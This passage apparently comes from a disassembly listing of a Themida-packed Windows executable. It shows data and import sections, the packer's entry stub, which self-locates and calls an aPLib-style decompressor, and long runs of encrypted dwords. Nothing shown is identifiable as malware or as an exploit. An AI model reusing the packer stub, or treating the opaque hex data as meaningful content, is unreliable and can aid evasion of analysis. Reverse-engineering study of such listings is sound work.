dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA XREF: sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD378 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 2450000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD390 dd 1 ; DATA XREF: ___:00423780w dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 2450758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 2450758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 000F5000 (1003520.) ; Section size in file : 000F5000 (1003520.) ; Offset to raw data for section: 000E1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E1000h dd 0AAB8A06h, 4413Eh, 54146h, 96172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00548BDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054C110 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054C386 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0054C3D8 SIZE 00000096 BYTES ; FUNCTION CHUNK AT 0054C4A4 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: start+57j mov edi, eax loc_4E1076: ; CODE XREF: start+1Bj jmp loc_4E1265 ; --------------------------------------------------------------------------- db 3 dd 126AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: start+8j mov eax, offset loc_548BDF mov ecx, offset word_4E126A push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(⌠иД┼x╪^│',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E1265: ; CODE XREF: start:loc_4E1076j ; start+9Dj jmp loc_548BDF ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: start+77o dd 156352Ch, 0E178BCAAh, 18AFF0Fh, 1A1FD20h, 5401DCF5h dd 696D6568h, 15C26164h, 179251D5h, 24E45F08h, 7E5D215Ch dd 1DC23645h, 0C298457Eh, 2279F535h, 7E3DC21Dh, 0DFB89D97h dd 0E10335E6h, 21F2BF1Ah, 0EBEB112Eh, 0E80CCBD7h, 0E8034CCAh dd 147BEFEh, 8B11ECFAh, 52F03A84h, 741C7365h, 41CE7261h dd 4F2E2F70h, 75239C78h, 8F73390h, 0A3147179h, 42EFBF68h dd 1CFEAF01h, 0D487C58Bh, 8008E860h, 3BED815Dh, 60A1435h dd 6059589h, 2679B504h, 2E298542h, 95BD8300h, 74808334h dd 0E8728B0Ch, 0A7B8E227h, 70BCC2A5h, 0C4247144h, 110C13Eh dd 0A3E8456Ah, 9A682981h, 0E9078374h, 250A40DFh, 0A7A894Bh dd 29E9D544h, 5FEC0214h db 40h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B003629h ; --------------------------------------------------------------------------- db 24h dd 6C08D845h, 8963400Eh, 0F37D8108h, 741D1980h, 0FC08200Fh dd 0A929383h, 4312FF61h, 368DE1EBh, 0D02661DCh, 450C2C9h dd 0C41A8146h, 3902FF7Ch, 8D107249h, 8B058045h, 85C7085Dh dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h, 5D0688BDh dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h dd 577390Ah, 99BCEB4Fh, 0FD611422h, 660A9F0Dh, 0D71E08DBh dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h, 5D0186A8h dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh dd 380838BAh, 0FC702AB9h, 37B8BD10h, 470FFE00h, 0B9FA7549h dd 6A772271h, 1101BB1Fh, 0EB82F147h, 8ED8026Dh, 39900386h dd 65510715h, 5DF43683h, 0F1268ACEh, 5944E93Eh, 118B101Bh dd 0B84B10Fh, 6EA0D8Ch, 0DF00DC0Bh, 2CB55256h, 0CCD98BC3h dd 8CACF14Ah, 34CB38h, 4E398267h, 30F765Bh, 3D51B810h dd 3BE3D104h, 4A0E46B3h, 0B82E0975h, 14EC4871h, 359065E4h dd 0C584037Dh, 0A3968E05h, 0C253CB23h, 29A0C204h, 8205718Ch dd 0A00EE76Dh, 2B86FFD9h, 22047781h, 0C1341D00h, 7533F984h dd 3FBCC820h, 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h dd 845AAB66h, 56531384h, 825E05CBh, 8150AEEEh, 7D6C22ECh dd 13B9518Ah, 94972302h, 186B7843h, 1704E957h, 0C4725F21h dd 25758A14h, 8453394h, 4721001Ah, 9B71C457h, 990D8F78h dd 24BC670Eh, 0ECDA8DD0h, 683D1D81h, 5E20031h, 0CA0B38B8h dd 1F861018h, 0EEC8FD45h, 0AE1366CEh, 0B40C1702h, 0F3EEA58h dd 1FBEDFAh, 38A52D0Dh, 49461104h, 0C42CFE1Dh, 60398C58h dd 7D8A11C4h, 48801E88h, 70CBC458h, 2C673F4h, 90DCA0C5h dd 1B608C8Fh, 12634686h, 0D08EA62h, 6D1A2435h, 88D9E946h dd 261BD224h, 3D2530E3h, 0EF3F1DA2h, 23C8809Bh, 0B48BD763h dd 0B8F029Ah, 0DCE8910Dh, 10892AA7h, 0C76F2FEFh, 0E95A750Ch dd 0B11B0Ch, 403E570Dh, 502DF372h, 0C052C0F3h, 0C31CFE70h dd 82435C0Eh, 50683CC2h, 3DCBF732h, 0C3803256h, 0CFAB509Bh dd 8BA48510h, 0C870C0ECh, 8C673207h, 8AF55FF9h, 0F2B80F4Fh dd 7A206C00h, 78B52C85h, 50F73CB0h, 0B83F1D07h, 0EEC783C3h dd 541514F0h, 0A9C0670Ah, 3217B55Dh, 0EA849600h, 0A71B905h dd 4B59BD88h, 7E2411FCh, 0D80B0D60h, 22803Fh, 0B16AFFB4h dd 55C3588Ah, 2332EA31h, 2AE5ABE4h, 7A1EE8h, 345906BDh dd 0FEAE212h, 0F48425C0h, 1D29D1Ah, 5371BED0h, 0FCA5E814h dd 8858EAC7h, 0C2D4801Ch, 75E2A7Eh, 239570D6h, 16601F62h dd 6D7C0276h, 0A900F77Bh, 377B5C7Fh, 134A56Fh, 7AA2A8C0h dd 0F8D56971h, 0A4EC4CD4h, 31648D00h, 0D232B680h, 0A67C00FEh dd 22AEC830h, 0C100558Fh, 1E464D6Eh, 42E9F4h, 0F8F9149Eh dd 7F76277Ch, 92AEDB00h, 7DA65499h, 483A03C3h, 18F3F18Ch dd 0F614911Dh, 751A31F1h, 0A90008BEh, 481CD126h, 0A707D443h dd 390A5CFBh, 7F80CE97h, 5FBDB2h, 1D5A6D80h, 5DA054BCh dd 5207800h, 0F3E5453Fh, 0FAC70EAFh, 0FB008188h, 0A6B99340h dd 0ED4F1D18h, 6EEE71h, 0D9E8B468h, 3CA398EFh, 9ED8463Ah dd 6FC0168Ah, 5F31A6C0h, 756D02B5h, 0F7DDC882h, 0E083F541h dd 9A008D02h, 277D01F6h, 0C07A8066h, 3EC1ACC1h, 0E403B662h dd 0FA6F6513h, 0FD81A718h, 46F80532h, 0F97600D1h, 0A711996Dh dd 67C1920h, 8FB631CFh, 211287D1h, 0B002E0C3h, 4BDE7Bh dd 0B45120B9h, 1455A00Dh, 330620DFh, 1D181501h, 33E722C4h dd 71884949h, 0EA7CC247h, 0C58EAC0Eh, 4CFB8A0Ch, 15711218h dd 88FE0032h, 0FC30649Eh, 4F0E447Eh, 6082F068h, 4F710E2h dd 3113606Eh, 3DA1FBA4h, 0D7B7C303h, 0D71CCF0Dh, 4093A08Eh dd 21718Eh, 2B14282Fh, 31C587E0h, 20D03A28h, 0B2C10200h dd 3FB5D651h, 904F1679h, 0BBEB039Bh, 703CF267h, 0D9A5B0DDh dd 0A85B3CD4h, 748BEA8h, 0CA12B01Dh, 887A30C8h, 0CB007C31h dd 0BDF7F04Fh, 0C017197Bh, 6D547738h, 68780D56h, 609840F5h dd 48404923h, 0E22221C5h, 19084F1Fh, 21160052h, 0C99C0D12h dd 0E73F7774h, 0EBA48162h, 1435435Dh, 330240BCh, 34298CE5h dd 4EEDC482h, 5E971301h, 0C305B194h, 9E599930h, 0DC00588Dh dd 7CE6D90Bh, 1874E10Fh, 31573C28h, 6F005580h, 0DBEFA7BDh dd 359532Eh, 5D757C2Bh, 0B1B01F9Ch, 4006F780h, 0B5BD79AFh dd 0A9A00C58h, 0C5A81C68h, 0B41F9328h, 0DC22E415h, 1D410870h dd 0B501384Eh, 50EF4D4Bh, 0F857CDB4h, 99601412h, 2AEE1339h dd 0A99F0AFDh, 112CED80h, 0E0330319h, 1F83F543h, 52A16DF0h dd 2B6441B2h, 40FD33C4h, 0E556A93Ch, 0DD0B3907h, 89E25E34h dd 8C008F8h, 5686C4E6h, 3C611D4Dh, 500ACD4h, 854BE061h dd 0D902E596h, 537FAF79h, 11D0A0C5h, 40C3D27Ch, 4D184629h dd 6D4064E8h, 8A703A9Dh, 271D5580h, 32375EC8h, 0A1FDDA00h dd 7CC01862h, 15641846h, 0B6D98808h, 84CC5789h, 11C961FEh dd 0ECC4128Ah, 790117CAh, 265ACFD7h, 96FD460Dh, 0D869F422h dd 688E208h, 19523C97h, 0CACFE807h, 7EF0D115h, 5321BEh dd 70906E58h, 527070Bh, 0D9DC6404h, 5C94657Bh, 0A5590C81h dd 3BC5F007h, 2373DFE5h, 705C8449h, 411B9090h, 0F73150F9h dd 6812B8h, 4BB67BA0h, 91C118D9h, 0F8D3E19Ch, 0B55C9440h dd 88CD49C8h, 0ED4C6C04h, 0D16F014Eh, 4883F95Dh, 0DA14E365h dd 242912B1h, 0A00DE4DCh, 48A4DC31h, 3A302147h, 9F7B0B2h dd 0B3775DBCh, 0E5DD8403h, 0D470981Ch, 1AC6B280h, 0DC0A72h dd 8125A57Dh, 7A90C10h, 0A2696504h, 14C05D2Dh, 0B7D3BFh dd 0A67D99D9h, 0FE963949h, 2005AE8h, 3F55545Dh, 0E55C8704h dd 0ACC1109Eh, 76500D0h, 0D9E3021Fh, 0B30063B0h, 0D381B7DBh dd 7E9188h, 4A970B5Eh, 0C7A4D52Eh, 0A59ECA0Eh, 80E3AB59h dd 0A296C28Bh, 2898EEB3h, 3F80B1F1h, 1281E6FEh, 7CC45565h dd 800FFDDAh, 340C27F8h, 0A8EA455Ch, 7CC6C48Ch, 4CF77C4Fh dd 0AD2C8E0h, 82E4893Ch, 0A114D796h, 0DE081844h, 2680CD7Bh dd 79E51840h, 0CA095605h, 3F2E3C9h, 0A089344Ch, 24C6F37Eh dd 42EC1C6Ah, 5620B8E3h, 904A1C5h, 5FD141AFh, 4B3F889h dd 841476F9h, 2B033439h, 0CE948Ch, 0C35E7C57h, 0BAA2455Fh dd 84AC3Eh, 4A65348Bh, 60DD4C5Bh, 2D75F044h, 6E1D06CFh dd 771F8109h, 14F80E14h, 10647F0Dh, 5C0ADFF5h, 8C90F731h dd 6181124Dh, 97D2FD02h, 0C144BDCDh, 31A68574h, 3AEB1110h dd 38178CDAh, 0C0A4E15h, 0CDFDF711h, 810474D1h, 5964418h dd 109C04C8h, 24B294A9h, 4806484Fh, 51176Fh, 4996EED6h dd 98A83D9Bh, 0D7C35600h, 6C83816h, 0A6D89B44h, 0E2210981h dd 1C980898h, 19CFD218h, 482DA860h, 6429CC34h, 0AA840EACh dd 572013ECh, 0A70509FAh, 5CB0A130h, 94E3C800h, 0A8D26FC6h dd 60AA14BCh, 54865104h dd 0B9E823h, 0B9EF6F0Ch, 0F4913EC6h, 18E1B80Ch, 9244E729h dd 5D2E656h, 0E33BC6F2h, 42100805h, 9D49AF84h, 9F09F8D0h dd 0CC6D12C6h, 0DD20446Bh, 617722CEh, 0E034B4FCh, 0D863187Fh dd 0EDF76144h, 21F52300h, 41582B57h, 0A1E56EBAh, 68109B69h dd 0D1204366h, 153C2A82h, 0C05AEA8Ch, 1D37BC21h, 0F13A70F5h dd 2FD68060h, 385C7B56h, 4D51C61Eh, 0E7003921h, 0F2026F9Fh dd 0F30FEC0h, 46D6A852h, 0F44BD901h, 0C43030C3h, 61513C30h dd 0FAD873FBh, 22B93AC6h, 8DA97180h, 62852A0Fh, 0B52C51FCh dd 9308E814h, 0E3570010h, 718D68B4h, 944F2D28h, 7B16E490h dd 5021F1C5h, 6F11DFDCh, 0F8A98020h, 9E58925Ah, 63113C14h dd 3B2AB800h, 0C6FB1EB4h, 80BA160Fh, 929AEB1Ah, 28665Ch dd 8574C782h, 6EE29C67h, 0CDF59E09h, 0F8248A5Ch, 94CBDA02h dd 0B8CD439Bh, 2DF0615h, 3AC6AB33h, 50C9457Dh, 6498FC05h dd 7808810Fh, 0DC0B1CDAh, 148D829Ch, 833CB89Bh, 0CB6F003Bh dd 549E9FEEh, 330501BBh, 1CFD43B6h, 0A57198D0h, 5C0CB019h dd 407A1806h, 3073325h, 0CCF74B37h, 86154441h, 7C71E6F9h dd 825557ECh, 0DB3118C0h, 0C04CA541h, 0C9070795h, 6FFB71A0h dd 7FC09E61h, 3A38702Ch, 75174C7Ch, 2C1D59DEh, 0E7692302h dd 0F5C90150h, 55B510A5h, 0D95E603Dh, 785CBB22h, 0F393800h dd 237F0C44h, 0BCB13Dh, 34469D97h, 0F01E1018h, 0C900DC68h dd 679C7C41h, 45290B50h, 0AC068F5Dh, 4890C144h, 54B1F520h dd 18ED6CE0h, 18C10DC8h, 0A8B9B72Dh, 5E917105h, 0B057ECC8h dd 140D2AC4h, 916F77A0h, 5F9F0894h, 6423FE93h, 72CC8030h dd 850D0135h, 98A1CF43h, 0FD5081BEh, 2A597E66h, 131C8824h dd 49EC8CAAh, 0F4042E40h, 0C0B450C2h, 77975D58h, 15EE042h dd 6CE79C8h, 0F8C693A4h, 0F00186B3h, 68E53071h, 0A88B1355h dd 54028ADFh, 9802B835h, 0A5BC848Fh, 0ECF8B240h, 0AF48CCE4h dd 0A05430AAh, 6A33DA1Ch, 14ED901Fh, 0AF00703Dh, 501BD0EEh dd 0A990283Eh, 235EB005h, 0A89096E2h, 54D17757h, 0E6A8F9h dd 0E0C3DD9h, 665EC616h, 24517B7Fh, 71A88CBCh, 982328CAh dd 42F92068h, 0C6901E1Fh, 486C3489h, 48AD4B48h, 4D151CF6h dd 761D9C1Eh, 0FBD50098h, 3C5A4731h, 2EE20101h, 14BB8697h dd 15887C8h, 0B6660953h, 561168EDh, 0FC6C4084h, 413D78B0h dd 8044284Eh, 1A71A926h, 0AF431C5Dh, 2810839Ah, 201447A5h dd 4A90DB0Fh, 98A00849h, 5CFD4B94h, 5585F446h, 0FEC40911h dd 0D277C890h, 2E3D3E05h, 0B4065F0Fh, 1A315318h, 0A0ACB9D1h dd 7661BC60h, 0E8625781h, 59044068h, 225016E2h, 991056F8h dd 0E804C6D9h, 134DB87Bh, 0AAE11002h, 0CC7404E5h, 7D006190h dd 7952F5E9h, 1F7F037h, 0BB433A9Ah, 57B1246Bh, 5799E1DCh dd 876C01F9h, 0F8A068BFh, 2034A325h, 37BBDA10h, 5BE40094h dd 7210B2E6h, 0E0042E5Ah, 15F43312h, 714B3081h, 80BEAFD1h dd 0C30961Eh, 0B5102758h, 0F06E6014h, 8233074h, 3A209ED4h dd 642EF112h, 1E608108h, 9C149978h, 0F1556289h, 276458B8h dd 7E200015h, 0A268E3B6h, 0ACB40558h, 0AC778C4Eh, 8012682Ch dd 8892A09Ah, 8A79E29h, 0B8DB3C0Ah, 0E244ACA1h, 67120C8h dd 0FA99EDBh, 294CE8AFh, 791C3019h, 1A2F5561h, 210BA997h dd 65982440h, 1457A888h, 181D016Fh, 5BA9490Ah, 99969F8Ch dd 541471BAh, 939461E4h, 0D7051B64h, 8A26C13h, 6822884h dd 48F14D71h, 0C9BB34h, 0E62CC3E0h, 0F27010A2h, 0B5DD560Eh dd 12C04064h, 0C5AEF6D3h, 29931B8h, 2FFE174Ch, 4E0F0468h dd 505DA731h, 7C82E801h, 0A831DAD1h, 0E38BAF60h, 2F931A01h dd 5ECE6839h, 4DF170h, 8834D706h, 22F95F52h, 3ECFE000h dd 25DF7C3h, 0A0460099h, 9895589Bh, 2601A121h, 7E916F6Ch dd 80F302F3h, 30869062h, 0FE4065E6h, 0C241B7D1h, 4798C0h dd 95579E6Dh, 238F163Eh, 7A2833Ah, 0B6E949Bh, 0F7B08717h dd 7F86011h, 43D1EB5Ch, 0F6246136h, 577001E7h, 8DC844D2h dd 0F8EA5704h, 0E6CB6980h, 909D9395h, 0F13300D8h, 6A837B8Ch dd 9B00DBD6h, 8A155C69h, 3AC86B5h, 57248265h, 0C2C0B4D0h dd 0E71F0231h, 0E40A195h, 9B633584h, 979C0123h, 0A06B458Fh dd 0F47EC05Fh, 0F60CD900h, 7DE31A4Fh, 0F8FA30B3h, 0A65FE540h dd 976C40h, 6E909662h, 0A7478F6Fh, 0B549D00h, 0AC8382CBh dd 0EC40331h, 0C1447DE7h, 0D30C3088h, 0A2925F05h, 0F8C0850Ah dd 98789095h, 94B74838h, 5FE8BAh, 9443D9F6h, 985E5C6Bh dd 23A86200h, 448F666Eh, 0B9F0083h, 0FDB5865Bh, 53002B52h dd 7972E00Ah, 742C338h, 0A85EE202h, 0E387D0B0h, 25008D21h dd 32DCE183h, 4E9F79h, 0DF18B608h, 1E4939C1h, 0FD73ED0Ch dd 10C84086h, 835DE7h, 0A21CE389h, 3E26423h, 0A39F5ED2h dd 0B998F459h, 6500AEFDh, 62ED19EEh, 0C434B8h, 31E77494h dd 8B5AB16Dh, 647900F5h, 8C66E5ACh, 0CEE1F0ABh, 98D10068h dd 58A2A044h, 0EF003370h, 0AC387696h, 7C9A908Fh, 741500A1h dd 6013FC91h, 0A2002285h, 0F835B7CEh, 0E6DDD15Eh, 4BA40067h dd 0A6F33A87h, 8E00783Eh, 6A425FCAh, 0A35955h, 2FF9832Dh dd 0CFDF4749h, 0C1002698h, 46E70494h, 7E626982h, 92630080h dd 8F6B3991h, 0A0009B2Ah, 33A40A5Eh, 2E52F2h, 0C5FD1DEEh dd 9505C2B3h, 80E09F39h, 844CB16Ch, 3CD4163Fh, 8C856E2Ah dd 829C4230h, 5C2181ACh, 73E42451h, 0A30899FFh, 0F47F04h dd 820C192Ah, 0B90A20C0h, 0E8148601h, 0A6648873h, 0F3B0344Ah dd 7000BC7Ch, 587E016h, 0E8681E2h, 0F804FB44h, 4DC31C15h dd 1000B91Fh, 6EBB8B9Eh, 37F8436h, 76E081D5h, 16A9700Dh dd 3F287821h, 0B88C435h, 0B549315Dh, 7113A4C0h, 26D4C11Ah dd 40185438h, 3ADAC9A0h, 0B5632202h, 0B10D2F60h, 2D02C71Ch dd 4B80805Ch, 0DD30A0A9h, 911200EAh, 25CEDC5Ah, 0E706C56Bh dd 16E19BDFh, 0D4770188h, 0F7594365h, 0CECAE050h, 6FF3FE16h dd 0FC6CF8B1h, 0C070C50Ch, 640CB591h, 11174D06h, 710C0BF3h dd 9C619CDCh, 0A109AD94h, 711553C0h, 804158F1h, 221017A5h dd 0C4B6F8E1h, 80A1A903h, 33D00143h, 3BDEB67Fh, 4507D261h dd 0D0262F03h, 1D171102h, 1810F2E6h, 827214Fh, 28B73000h dd 9B4483D2h, 94CA003Fh, 9EA89C97h, 0F04EF7E1h, 0A63BD880h dd 0E36E3061h, 64A94978h, 0FECC6341h, 0A8A0ABC3h, 3FD47Dh dd 0BD70558Ah, 0A7D5DDFCh, 0BA593200h, 92D79A5Fh, 4A305EF0h dd 4058DA90h, 0DE2A2F5Ch, 9110E221h, 423004Ah, 4E41BC30h dd 496F00F1h, 2558D27h, 0B81DA579h, 9944A177h, 78F80B0Dh dd 9FD08730h, 6301F04Fh, 883C5405h, 9EC806DFh, 0B5C63CF6h dd 1704D0CAh, 0EF009722h, 0F92E28Ch, 0EC61E10h, 4712609Ch dd 4E017889h, 902F8B93h, 8080B368h, 602CA94h, 0D60C771Eh dd 0D312EBC3h, 0F8ECACCFh, 41D8A90Bh, 0CBA0A8C0h, 3D716D09h dd 0DA1400CFh, 0BE60BB33h, 29183EA4h, 0C1435918h, 0D4D4069Fh dd 13D73989h, 0B628C4D2h, 5CA80389h, 0B240C06Dh, 0D14158D1h dd 0B1218026h, 6742A828h, 9C8A00E7h, 755BB068h, 3E00C65Ah dd 7EBBF27Bh, 33C96DB8h, 0DE90C37Dh, 18A1E1h, 5468E3h dd 313D66Bh, 61CD179h, 4A1B10Ch, 